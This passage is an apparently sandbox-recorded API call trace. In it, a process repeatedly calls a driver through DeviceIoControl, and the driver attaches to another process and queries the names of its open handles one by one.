[0094.275] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x250b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x250b20*, lpBytesReturned=0x12d450*=0x26, lpOverlapped=0x0) returned 1 [0094.276] PsLookupProcessByProcessId (in: ProcessId=0x720, Process=0xfffff88005233558 | out: Process=0xfffff88005233558) returned 0x0 [0094.276] PsAcquireProcessExitSynchronization () returned 0x0 [0094.276] KeStackAttachProcess (in: PROCESS=0xfffffa8002251300, ApcState=0xfffff880052335d0 | out: PROCESS=0xfffffa8002251300, ApcState=0xfffff880052335d0) [0094.276] ObReferenceObjectByHandle (in: Handle=0x5c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038c9001, Object=0xfffff88005233548, HandleInformation=0x0 | out: Object=0xfffff88005233548*=0xfffffa800eb5b310, HandleInformation=0x0) returned 0x0 [0094.276] KeUnstackDetachProcess (ApcState=0xfffff880052335d0) [0094.276] PsReleaseProcessExitSynchronization () returned 0x2 [0094.276] ObfDereferenceObject (Object=0xfffffa8002251300) returned 0x4b [0094.276] ObQueryNameString (in: Object=0xfffffa80026f2c50, ObjectNameInfo=0xfffffa800395d044, Length=0x800, ReturnLength=0xfffff88005233508 | out: ObjectNameInfo=0xfffffa800395d044, ReturnLength=0xfffff88005233508) returned 0x0 [0094.276] ObfDereferenceObject (Object=0xfffffa800eb5b310) returned 0x1 [0094.276] IofCompleteRequest (Irp=0xfffffa80021311e0, PriorityBoost=0) [0094.276] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x250b20 | out: hHeap=0x210000) returned 1 [0094.276] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x808) returned 0x250b20 [0094.276] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x250b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x250b20*, lpBytesReturned=0x12d450*=0x54, lpOverlapped=0x0) returned 1 [0094.276] PsLookupProcessByProcessId (in: ProcessId=0x720, Process=0xfffff88005233558 | out: Process=0xfffff88005233558) returned 0x0 [0094.276] PsAcquireProcessExitSynchronization () returned 0x0 [0094.276] KeStackAttachProcess (in: PROCESS=0xfffffa8002251300, ApcState=0xfffff880052335d0 | out: PROCESS=0xfffffa8002251300, ApcState=0xfffff880052335d0) [0094.276] ObReferenceObjectByHandle (in: Handle=0xd0, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038c9001, Object=0xfffff88005233548, HandleInformation=0x0 | out: Object=0xfffff88005233548*=0xfffff8a0089d7490, HandleInformation=0x0) returned 0x0 [0094.276] KeUnstackDetachProcess (ApcState=0xfffff880052335d0) [0094.276] PsReleaseProcessExitSynchronization () returned 0x2 [0094.276] ObfDereferenceObject (Object=0xfffffa8002251300) returned 0x4b [0094.276] ObQueryNameString (in: Object=0xfffff8a0089d7490, ObjectNameInfo=0xfffffa80038dd7c4, Length=0x800, ReturnLength=0xfffff88005233550 | out: ObjectNameInfo=0xfffffa80038dd7c4, ReturnLength=0xfffff88005233550) returned 0x0 [0094.276] ObfDereferenceObject (Object=0xfffff8a0089d7490) returned 0x2b [0094.276] IofCompleteRequest (Irp=0xfffffa80021311e0, PriorityBoost=0) [0094.276] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x250b20 | out: hHeap=0x210000) returned 1 [0094.276] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x808) returned 0x250b20 [0094.276] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x250b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x250b20*, lpBytesReturned=0x12d450*=0x54, lpOverlapped=0x0) returned 1 [0094.276] PsLookupProcessByProcessId (in: ProcessId=0x720, Process=0xfffff88005233558 | out: Process=0xfffff88005233558) returned 0x0 [0094.276] PsAcquireProcessExitSynchronization () returned 0x0 [0094.276] KeStackAttachProcess (in: PROCESS=0xfffffa8002251300, ApcState=0xfffff880052335d0 | out: PROCESS=0xfffffa8002251300, ApcState=0xfffff880052335d0) [0094.276] ObReferenceObjectByHandle (in: Handle=0xdc, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038c9001, Object=0xfffff88005233548, HandleInformation=0x0 | out: Object=0xfffff88005233548*=0xfffff8a0089d7490, HandleInformation=0x0) returned 0x0 [0094.276] KeUnstackDetachProcess (ApcState=0xfffff880052335d0) [0094.276] PsReleaseProcessExitSynchronization () returned 0x2 [0094.276] ObfDereferenceObject (Object=0xfffffa8002251300) returned 0x4b [0094.276] ObQueryNameString (in: Object=0xfffff8a0089d7490, ObjectNameInfo=0xfffffa800390e204, Length=0x800, ReturnLength=0xfffff88005233550 | out: ObjectNameInfo=0xfffffa800390e204, ReturnLength=0xfffff88005233550) returned 0x0 [0094.276] ObfDereferenceObject (Object=0xfffff8a0089d7490) returned 0x2b [0094.276] IofCompleteRequest (Irp=0xfffffa80021311e0, PriorityBoost=0) [0094.277] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x250b20 | out: hHeap=0x210000) returned 1 [0094.277] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x808) returned 0x250b20 [0094.277] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x250b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x250b20*, lpBytesReturned=0x12d450*=0x68, lpOverlapped=0x0) returned 1 [0094.277] PsLookupProcessByProcessId (in: ProcessId=0x720, Process=0xfffff88005233558 | out: Process=0xfffff88005233558) returned 0x0 [0094.277] PsAcquireProcessExitSynchronization () returned 0x0 [0094.277] KeStackAttachProcess (in: PROCESS=0xfffffa8002251300, ApcState=0xfffff880052335d0 | out: PROCESS=0xfffffa8002251300, ApcState=0xfffff880052335d0) [0094.277] ObReferenceObjectByHandle (in: Handle=0x118, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038c9001, Object=0xfffff88005233548, HandleInformation=0x0 | out: Object=0xfffff88005233548*=0xfffff8a0014f2d60, HandleInformation=0x0) returned 0x0 [0094.277] KeUnstackDetachProcess (ApcState=0xfffff880052335d0) [0094.277] PsReleaseProcessExitSynchronization () returned 0x2 [0094.277] ObfDereferenceObject (Object=0xfffffa8002251300) returned 0x4b [0094.277] ObQueryNameString (in: Object=0xfffff8a0014f2d60, ObjectNameInfo=0xfffffa80026027c4, Length=0x800, ReturnLength=0xfffff88005233550 | out: ObjectNameInfo=0xfffffa80026027c4, ReturnLength=0xfffff88005233550) returned 0x0 [0094.277] ObfDereferenceObject (Object=0xfffff8a0014f2d60) returned 0x7 [0094.277] IofCompleteRequest (Irp=0xfffffa80021311e0, PriorityBoost=0) [0094.277] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x250b20 | out: hHeap=0x210000) returned 1 [0094.277] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x808) returned 0x250b20 [0094.277] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x250b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x250b20*, lpBytesReturned=0x12d450*=0xa0, lpOverlapped=0x0) returned 1 [0094.277] PsLookupProcessByProcessId (in: ProcessId=0x720, Process=0xfffff88005233558 | out: Process=0xfffff88005233558) returned 0x0 [0094.277] PsAcquireProcessExitSynchronization () returned 0x0 [0094.277] KeStackAttachProcess (in: PROCESS=0xfffffa8002251300, ApcState=0xfffff880052335d0 | out: PROCESS=0xfffffa8002251300, ApcState=0xfffff880052335d0) [0094.277] ObReferenceObjectByHandle (in: Handle=0x11c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038c9001, Object=0xfffff88005233548, HandleInformation=0x0 | out: Object=0xfffff88005233548*=0xfffffa8003075a50, HandleInformation=0x0) returned 0x0 [0094.277] KeUnstackDetachProcess (ApcState=0xfffff880052335d0) [0094.277] PsReleaseProcessExitSynchronization () returned 0x2 [0094.277] ObfDereferenceObject (Object=0xfffffa8002251300) returned 0x4b [0094.277] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa80038c97c4, Length=0x800, ReturnLength=0xfffff88005233508 | out: ObjectNameInfo=0xfffffa80038c97c4, ReturnLength=0xfffff88005233508) returned 0x0 [0094.277] ObfDereferenceObject (Object=0xfffffa8003075a50) returned 0x3 [0094.277] IofCompleteRequest (Irp=0xfffffa80021311e0, PriorityBoost=0) [0094.277] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x250b20 | out: hHeap=0x210000) returned 1 [0094.277] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x808) returned 0x250b20 [0094.277] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x250b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x250b20*, lpBytesReturned=0x12d450*=0xa0, lpOverlapped=0x0) returned 1 [0094.277] PsLookupProcessByProcessId (in: ProcessId=0x720, Process=0xfffff88005233558 | out: Process=0xfffff88005233558) returned 0x0 [0094.277] PsAcquireProcessExitSynchronization () returned 0x0 [0094.277] KeStackAttachProcess (in: PROCESS=0xfffffa8002251300, ApcState=0xfffff880052335d0 | out: PROCESS=0xfffffa8002251300, ApcState=0xfffff880052335d0) [0094.277] ObReferenceObjectByHandle (in: Handle=0x130, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038c9001, Object=0xfffff88005233548, HandleInformation=0x0 | out: Object=0xfffff88005233548*=0xfffffa800358f410, HandleInformation=0x0) returned 0x0 [0094.277] KeUnstackDetachProcess (ApcState=0xfffff880052335d0) [0094.278] PsReleaseProcessExitSynchronization () returned 0x2 [0094.278] ObfDereferenceObject (Object=0xfffffa8002251300) returned 0x4b [0094.278] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa8003920044, Length=0x800, ReturnLength=0xfffff88005233508 | out: ObjectNameInfo=0xfffffa8003920044, ReturnLength=0xfffff88005233508) returned 0x0 [0094.278] ObfDereferenceObject (Object=0xfffffa800358f410) returned 0x2 [0094.278] IofCompleteRequest (Irp=0xfffffa80021311e0, PriorityBoost=0) [0094.278] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x250b20 | out: hHeap=0x210000) returned 1 [0094.278] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x808) returned 0x250b20 [0094.278] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x250b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x250b20*, lpBytesReturned=0x12d450*=0xa6, lpOverlapped=0x0) returned 1 [0094.278] PsLookupProcessByProcessId (in: ProcessId=0x720, Process=0xfffff88005233558 | out: Process=0xfffff88005233558) returned 0x0 [0094.278] PsAcquireProcessExitSynchronization () returned 0x0 [0094.278] KeStackAttachProcess (in: PROCESS=0xfffffa8002251300, ApcState=0xfffff880052335d0 | out: PROCESS=0xfffffa8002251300, ApcState=0xfffff880052335d0) [0094.278] ObReferenceObjectByHandle (in: Handle=0x150, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038c9001, Object=0xfffff88005233548, HandleInformation=0x0 | out: Object=0xfffff88005233548*=0xfffff8a001a09190, HandleInformation=0x0) returned 0x0 [0094.278] KeUnstackDetachProcess (ApcState=0xfffff880052335d0) [0094.278] PsReleaseProcessExitSynchronization () returned 0x2 [0094.278] ObfDereferenceObject (Object=0xfffffa8002251300) returned 0x4b [0094.278] ObQueryNameString (in: Object=0xfffff8a001a09190, ObjectNameInfo=0xfffffa800202c044, Length=0x800, ReturnLength=0xfffff88005233550 | out: ObjectNameInfo=0xfffffa800202c044, ReturnLength=0xfffff88005233550) returned 0x0 [0094.278] ObfDereferenceObject (Object=0xfffff8a001a09190) returned 0x2 [0094.278] IofCompleteRequest (Irp=0xfffffa80021311e0, PriorityBoost=0) [0094.278] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x250b20 | out: hHeap=0x210000) returned 1 [0094.278] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x808) returned 0x250b20 [0094.278] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x250b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x250b20*, lpBytesReturned=0x12d450*=0xa6, lpOverlapped=0x0) returned 1 [0094.278] PsLookupProcessByProcessId (in: ProcessId=0x720, Process=0xfffff88005233558 | out: Process=0xfffff88005233558) returned 0x0 [0094.278] PsAcquireProcessExitSynchronization () returned 0x0 [0094.278] KeStackAttachProcess (in: PROCESS=0xfffffa8002251300, ApcState=0xfffff880052335d0 | out: PROCESS=0xfffffa8002251300, ApcState=0xfffff880052335d0) [0094.278] ObReferenceObjectByHandle (in: Handle=0x158, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038c9001, Object=0xfffff88005233548, HandleInformation=0x0 | out: Object=0xfffff88005233548*=0xfffff8a001a979e0, HandleInformation=0x0) returned 0x0 [0094.278] KeUnstackDetachProcess (ApcState=0xfffff880052335d0) [0094.278] PsReleaseProcessExitSynchronization () returned 0x2 [0094.278] ObfDereferenceObject (Object=0xfffffa8002251300) returned 0x4b [0094.278] ObQueryNameString (in: Object=0xfffff8a001a979e0, ObjectNameInfo=0xfffffa8003ab3044, Length=0x800, ReturnLength=0xfffff88005233550 | out: ObjectNameInfo=0xfffffa8003ab3044, ReturnLength=0xfffff88005233550) returned 0x0 [0094.278] ObfDereferenceObject (Object=0xfffff8a001a979e0) returned 0x2 [0094.278] IofCompleteRequest (Irp=0xfffffa80021311e0, PriorityBoost=0) [0094.278] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x250b20 | out: hHeap=0x210000) returned 1 [0094.279] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x808) returned 0x250b20 [0094.279] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x250b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x250b20*, lpBytesReturned=0x12d450*=0x102, lpOverlapped=0x0) returned 1 [0094.279] PsLookupProcessByProcessId (in: ProcessId=0x720, Process=0xfffff88005233558 | out: Process=0xfffff88005233558) returned 0x0 [0094.279] PsAcquireProcessExitSynchronization () returned 0x0 [0094.279] KeStackAttachProcess (in: PROCESS=0xfffffa8002251300, ApcState=0xfffff880052335d0 | out: PROCESS=0xfffffa8002251300, ApcState=0xfffff880052335d0) [0094.279] ObReferenceObjectByHandle (in: Handle=0x160, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038c9001, Object=0xfffff88005233548, HandleInformation=0x0 | out: Object=0xfffff88005233548*=0xfffffa800cabb520, HandleInformation=0x0) returned 0x0 [0094.279] KeUnstackDetachProcess (ApcState=0xfffff880052335d0) [0094.279] PsReleaseProcessExitSynchronization () returned 0x2 [0094.279] ObfDereferenceObject (Object=0xfffffa8002251300) returned 0x4b [0094.279] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa800211a044, Length=0x800, ReturnLength=0xfffff88005233508 | out: ObjectNameInfo=0xfffffa800211a044, ReturnLength=0xfffff88005233508) returned 0x0 [0094.279] ObfDereferenceObject (Object=0xfffffa800cabb520) returned 0x1 [0094.279] IofCompleteRequest (Irp=0xfffffa80021311e0, PriorityBoost=0) [0094.279] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x250b20 | out: hHeap=0x210000) returned 1 [0094.279] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x808) returned 0x250b20 [0094.279] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x250b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x250b20*, lpBytesReturned=0x12d450*=0x8c, lpOverlapped=0x0) returned 1 [0094.279] PsLookupProcessByProcessId (in: ProcessId=0x720, Process=0xfffff88005233558 | out: Process=0xfffff88005233558) returned 0x0 [0094.279] PsAcquireProcessExitSynchronization () returned 0x0 [0094.279] KeStackAttachProcess (in: PROCESS=0xfffffa8002251300, ApcState=0xfffff880052335d0 | out: PROCESS=0xfffffa8002251300, ApcState=0xfffff880052335d0) [0094.279] ObReferenceObjectByHandle (in: Handle=0x1a0, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038c9001, Object=0xfffff88005233548, HandleInformation=0x0 | out: Object=0xfffff88005233548*=0xfffffa8003c3ba00, HandleInformation=0x0) returned 0x0 [0094.279] KeUnstackDetachProcess (ApcState=0xfffff880052335d0) [0094.279] PsReleaseProcessExitSynchronization () returned 0x2 [0094.279] ObfDereferenceObject (Object=0xfffffa8002251300) returned 0x4b [0094.279] ObQueryNameString (in: Object=0xfffffa8003c3ba00, ObjectNameInfo=0xfffffa80039997c4, Length=0x800, ReturnLength=0xfffff88005233550 | out: ObjectNameInfo=0xfffffa80039997c4, ReturnLength=0xfffff88005233550) returned 0x0 [0094.279] ObfDereferenceObject (Object=0xfffffa8003c3ba00) returned 0x1 [0094.279] IofCompleteRequest (Irp=0xfffffa80021311e0, PriorityBoost=0) [0094.279] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x250b20 | out: hHeap=0x210000) returned 1 [0094.279] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x808) returned 0x250b20 [0094.279] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x250b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x250b20*, lpBytesReturned=0x12d450*=0x112, lpOverlapped=0x0) returned 1 [0094.279] PsLookupProcessByProcessId (in: ProcessId=0x720, Process=0xfffff88005233558 | out: Process=0xfffff88005233558) returned 0x0 [0094.279] PsAcquireProcessExitSynchronization () returned 0x0 [0094.279] KeStackAttachProcess (in: PROCESS=0xfffffa8002251300, ApcState=0xfffff880052335d0 | out: PROCESS=0xfffffa8002251300, ApcState=0xfffff880052335d0) [0094.280] ObReferenceObjectByHandle (in: Handle=0x1b8, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038c9001, Object=0xfffff88005233548, HandleInformation=0x0 | out: Object=0xfffff88005233548*=0xfffffa800dfd4b60, HandleInformation=0x0) returned 0x0 [0094.280] KeUnstackDetachProcess (ApcState=0xfffff880052335d0) [0094.280] PsReleaseProcessExitSynchronization () returned 0x2 [0094.280] ObfDereferenceObject (Object=0xfffffa8002251300) returned 0x4b [0094.280] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa800395d044, Length=0x800, ReturnLength=0xfffff88005233508 | out: ObjectNameInfo=0xfffffa800395d044, ReturnLength=0xfffff88005233508) returned 0x0 [0094.280] ObfDereferenceObject (Object=0xfffffa800dfd4b60) returned 0x1 [0094.280] IofCompleteRequest (Irp=0xfffffa80021311e0, PriorityBoost=0) [0094.280] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x250b20 | out: hHeap=0x210000) returned 1 [0094.280] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x808) returned 0x250b20 [0094.280] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x250b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x250b20*, lpBytesReturned=0x12d450*=0xf4, lpOverlapped=0x0) returned 1 [0094.280] PsLookupProcessByProcessId (in: ProcessId=0x720, Process=0xfffff88005233558 | out: Process=0xfffff88005233558) returned 0x0 [0094.280] PsAcquireProcessExitSynchronization () returned 0x0 [0094.280] KeStackAttachProcess (in: PROCESS=0xfffffa8002251300, ApcState=0xfffff880052335d0 | out: PROCESS=0xfffffa8002251300, ApcState=0xfffff880052335d0) [0094.280] ObReferenceObjectByHandle (in: Handle=0x2dc, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038c9001, Object=0xfffff88005233548, HandleInformation=0x0 | out: Object=0xfffff88005233548*=0xfffffa800c5de530, HandleInformation=0x0) returned 0x0 [0094.280] KeUnstackDetachProcess (ApcState=0xfffff880052335d0) [0094.280] PsReleaseProcessExitSynchronization () returned 0x2 [0094.280] ObfDereferenceObject (Object=0xfffffa8002251300) returned 0x4b [0094.280] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa80038dd7c4, Length=0x800, ReturnLength=0xfffff88005233508 | out: ObjectNameInfo=0xfffffa80038dd7c4, ReturnLength=0xfffff88005233508) returned 0x0 [0094.280] ObfDereferenceObject (Object=0xfffffa800c5de530) returned 0x1 [0094.280] IofCompleteRequest (Irp=0xfffffa80021311e0, PriorityBoost=0) [0094.280] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x250b20 | out: hHeap=0x210000) returned 1 [0094.280] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x808) returned 0x250b20 [0094.280] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x250b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x250b20*, lpBytesReturned=0x12d450*=0x8a, lpOverlapped=0x0) returned 1 [0094.280] PsLookupProcessByProcessId (in: ProcessId=0x720, Process=0xfffff88005233558 | out: Process=0xfffff88005233558) returned 0x0 [0094.280] PsAcquireProcessExitSynchronization () returned 0x0 [0094.280] KeStackAttachProcess (in: PROCESS=0xfffffa8002251300, ApcState=0xfffff880052335d0 | out: PROCESS=0xfffffa8002251300, ApcState=0xfffff880052335d0) [0094.280] ObReferenceObjectByHandle (in: Handle=0x2e4, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038c9001, Object=0xfffff88005233548, HandleInformation=0x0 | out: Object=0xfffff88005233548*=0xfffffa8003237ca0, HandleInformation=0x0) returned 0x0 [0094.280] KeUnstackDetachProcess (ApcState=0xfffff880052335d0) [0094.280] PsReleaseProcessExitSynchronization () returned 0x2 [0094.280] ObfDereferenceObject (Object=0xfffffa8002251300) returned 0x4b [0094.280] ObQueryNameString (in: Object=0xfffffa8003237ca0, ObjectNameInfo=0xfffffa800390e204, Length=0x800, ReturnLength=0xfffff88005233550 | out: ObjectNameInfo=0xfffffa800390e204, ReturnLength=0xfffff88005233550) returned 0x0 [0094.281] ObfDereferenceObject (Object=0xfffffa8003237ca0) returned 0x1 [0094.281] IofCompleteRequest (Irp=0xfffffa80021311e0, PriorityBoost=0) [0094.281] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x250b20 | out: hHeap=0x210000) returned 1 [0094.281] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x808) returned 0x250b20 [0094.281] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x250b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x250b20*, lpBytesReturned=0x12d450*=0xb4, lpOverlapped=0x0) returned 1 [0094.281] PsLookupProcessByProcessId (in: ProcessId=0x720, Process=0xfffff88005233558 | out: Process=0xfffff88005233558) returned 0x0 [0094.281] PsAcquireProcessExitSynchronization () returned 0x0 [0094.281] KeStackAttachProcess (in: PROCESS=0xfffffa8002251300, ApcState=0xfffff880052335d0 | out: PROCESS=0xfffffa8002251300, ApcState=0xfffff880052335d0) [0094.281] ObReferenceObjectByHandle (in: Handle=0x324, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038c9001, Object=0xfffff88005233548, HandleInformation=0x0 | out: Object=0xfffff88005233548*=0xfffff8a00181e670, HandleInformation=0x0) returned 0x0 [0094.281] KeUnstackDetachProcess (ApcState=0xfffff880052335d0) [0094.281] PsReleaseProcessExitSynchronization () returned 0x2 [0094.281] ObfDereferenceObject (Object=0xfffffa8002251300) returned 0x4b [0094.281] ObQueryNameString (in: Object=0xfffff8a00181e670, ObjectNameInfo=0xfffffa80026027c4, Length=0x800, ReturnLength=0xfffff88005233550 | out: ObjectNameInfo=0xfffffa80026027c4, ReturnLength=0xfffff88005233550) returned 0x0 [0094.281] ObfDereferenceObject (Object=0xfffff8a00181e670) returned 0x2 [0094.281] IofCompleteRequest (Irp=0xfffffa80021311e0, PriorityBoost=0) [0094.281] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x250b20 | out: hHeap=0x210000) returned 1 [0094.281] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x808) returned 0x250b20 [0094.281] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x250b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x250b20*, lpBytesReturned=0x12d450*=0xb0, lpOverlapped=0x0) returned 1 [0094.281] PsLookupProcessByProcessId (in: ProcessId=0x720, Process=0xfffff88005233558 | out: Process=0xfffff88005233558) returned 0x0 [0094.281] PsAcquireProcessExitSynchronization () returned 0x0 [0094.281] KeStackAttachProcess (in: PROCESS=0xfffffa8002251300, ApcState=0xfffff880052335d0 | out: PROCESS=0xfffffa8002251300, ApcState=0xfffff880052335d0) [0094.281] ObReferenceObjectByHandle (in: Handle=0x330, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038c9001, Object=0xfffff88005233548, HandleInformation=0x0 | out: Object=0xfffff88005233548*=0xfffff8a001883dc0, HandleInformation=0x0) returned 0x0 [0094.281] KeUnstackDetachProcess (ApcState=0xfffff880052335d0) [0094.281] PsReleaseProcessExitSynchronization () returned 0x2 [0094.281] ObfDereferenceObject (Object=0xfffffa8002251300) returned 0x4b [0094.281] ObQueryNameString (in: Object=0xfffff8a001883dc0, ObjectNameInfo=0xfffffa80038c97c4, Length=0x800, ReturnLength=0xfffff88005233550 | out: ObjectNameInfo=0xfffffa80038c97c4, ReturnLength=0xfffff88005233550) returned 0x0 [0094.281] ObfDereferenceObject (Object=0xfffff8a001883dc0) returned 0x2 [0094.281] IofCompleteRequest (Irp=0xfffffa80021311e0, PriorityBoost=0) [0094.281] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x250b20 | out: hHeap=0x210000) returned 1 [0094.281] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x808) returned 0x250b20 [0094.281] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x250b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x250b20*, lpBytesReturned=0x12d450*=0xae, lpOverlapped=0x0) returned 1 [0094.281] PsLookupProcessByProcessId (in: ProcessId=0x720, Process=0xfffff88005233558 | out: Process=0xfffff88005233558) returned 0x0 [0094.281] PsAcquireProcessExitSynchronization () returned 0x0 [0094.282] KeStackAttachProcess (in: PROCESS=0xfffffa8002251300, ApcState=0xfffff880052335d0 | out: PROCESS=0xfffffa8002251300, ApcState=0xfffff880052335d0) [0094.282] ObReferenceObjectByHandle (in: Handle=0x334, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038c9001, Object=0xfffff88005233548, HandleInformation=0x0 | out: Object=0xfffff88005233548*=0xfffffa8003065d10, HandleInformation=0x0) returned 0x0 [0094.282] KeUnstackDetachProcess (ApcState=0xfffff880052335d0) [0094.282] PsReleaseProcessExitSynchronization () returned 0x2 [0094.282] ObfDereferenceObject (Object=0xfffffa8002251300) returned 0x4b [0094.282] ObQueryNameString (in: 